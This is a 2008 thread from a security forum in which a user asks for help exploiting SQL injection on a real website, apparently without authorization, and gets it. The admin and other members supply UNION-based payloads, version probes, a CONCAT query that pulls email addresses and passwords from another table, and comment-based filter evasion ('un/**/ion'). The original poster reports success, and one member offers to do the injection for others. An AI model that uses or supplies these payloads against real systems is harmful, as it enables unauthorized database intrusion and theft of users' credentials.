|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
[SOLVED] SQL Injection | Need help |
|
Posted: Wed Sep 17, 2008 8:58 am |
|
|
tr0nix |
Active user |
|
|
Joined: Mar 06, 2008 |
Posts: 48 |
|
|
|
|
|
|
|
Code: |
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2'' at line 3
SELECT some_column FROM some_table WHERE sql_injection='3' UNION SELECT 1,2,3,4' and id='2'
|
How could I bypass this?
Tried it with ' UNION SELECT 1,2,3/*, but it didn't worked.
Any tips?
Thanks in advance. |
|
Last edited by tr0nix on Thu Sep 18, 2008 10:14 pm; edited 1 time in total |
|
|
|
Posted: Wed Sep 17, 2008 11:34 am |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Try without commenting out.
Code: |
' UNION SELECT 1,2,3 WHERE '1'='1
|
Without deeper details it's hard to figure out proper sql injection string ... |
|
|
|
|
Posted: Wed Sep 17, 2008 11:39 am |
|
|
tr0nix |
Active user |
|
|
Joined: Mar 06, 2008 |
Posts: 48 |
|
|
|
|
|
|
|
Code: |
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE '1'='1' and l_i='' at line 3
SELECT some_column FROM some_table WHERE sql_injection='3' UNION SELECT 1,2,3 WHERE '1'='1' and l_i='2'
|
Should I pm you the site? |
|
Last edited by tr0nix on Sun Sep 21, 2008 1:30 pm; edited 2 times in total |
|
|
|
Posted: Wed Sep 17, 2008 11:49 am |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
No. Just post here attack URL (GET request) without private info (domain name, etc removed) and exact sql error (same thing, remove private info). |
|
|
|
|
Posted: Wed Sep 17, 2008 11:57 am |
|
|
tr0nix |
Active user |
|
|
Joined: Mar 06, 2008 |
Posts: 48 |
|
|
|
|
|
|
|
https://site.com/zzz_content.php/coID/3'
Error:
Code: |
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2'' at line 3
SELECT content_heading FROM content_manager WHERE content_group='3'' and languages_id='2'
|
Do you need anymore infos? |
|
|
|
|
|
|
|
|
Posted: Wed Sep 17, 2008 12:04 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
tr0nix wrote: | https://site.com/zzz_content.php/coID/3'
Error:
Code: |
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2'' at line 3
SELECT content_heading FROM content_manager WHERE content_group='3'' and languages_id='2'
|
Do you need anymore infos? |
Try some variations:
Code: |
-1'+UNION+SELECT+@@version--+
|
Code: |
-1'+UNION+SELECT+@@version+FROM+content_manager+WHERE+'1'='1
|
If you see sql errors, post them here. |
|
|
|
|
|
|
|
|
Posted: Wed Sep 17, 2008 12:09 pm |
|
|
tr0nix |
Active user |
|
|
Joined: Mar 06, 2008 |
Posts: 48 |
|
|
|
|
|
|
|
zzz_content.php/coID/3' UNION SELECT @@version FROM content_manager WHERE '1'='1
Error:
Code: |
1267 - Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,COERCIBLE) for operation 'UNION'
|
So I just need to use CONVERT(), right?
Edit: Did it, sadly version 4.1.10a, but I'll try blind sql injection *g*
Big thanks to you, waraxe!
Edit2:
When I try to read from another table it gives me this:
Code: |
1054 - Unknown column 'l_i' in 'where clause'
SELECT some_column FROM some_table WHERE sql_injection='-1' UNION SELECT CONVERT(CONCAT(email_address,0x203a20,password) using latin1) FROM anothertable WHERE 1='1' and l_i='2'
|
How can I bypass this now? |
|
Last edited by tr0nix on Sun Sep 21, 2008 1:31 pm; edited 1 time in total |
|
|
|
Posted: Wed Sep 17, 2008 2:58 pm |
|
|
Sven17 |
Regular user |
|
|
Joined: Aug 01, 2008 |
Posts: 8 |
|
|
|
|
|
|
|
pm me the link and i'll inject it for you |
|
|
|
|
Posted: Thu Sep 18, 2008 1:11 pm |
|
|
tr0nix |
Active user |
|
|
Joined: Mar 06, 2008 |
Posts: 48 |
|
|
|
|
|
|
|
I did it, yay.
Thanks to everyone who tried to help me. )) |
|
|
|
|
Posted: Fri Sep 19, 2008 1:15 pm |
|
|
0xbadfaceX |
Regular user |
|
|
Joined: Aug 01, 2008 |
Posts: 12 |
Location: .bashrc$> |
|
|
|
|
|
|
Using hex() and unhex() for columns
or to bypass this request must using a quote comment for the "UNION", like . . .
Code: | u/**/n/**/i/**/o/**/n
un/**/ion |
etc . . . ++ |
|
_________________ ,
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|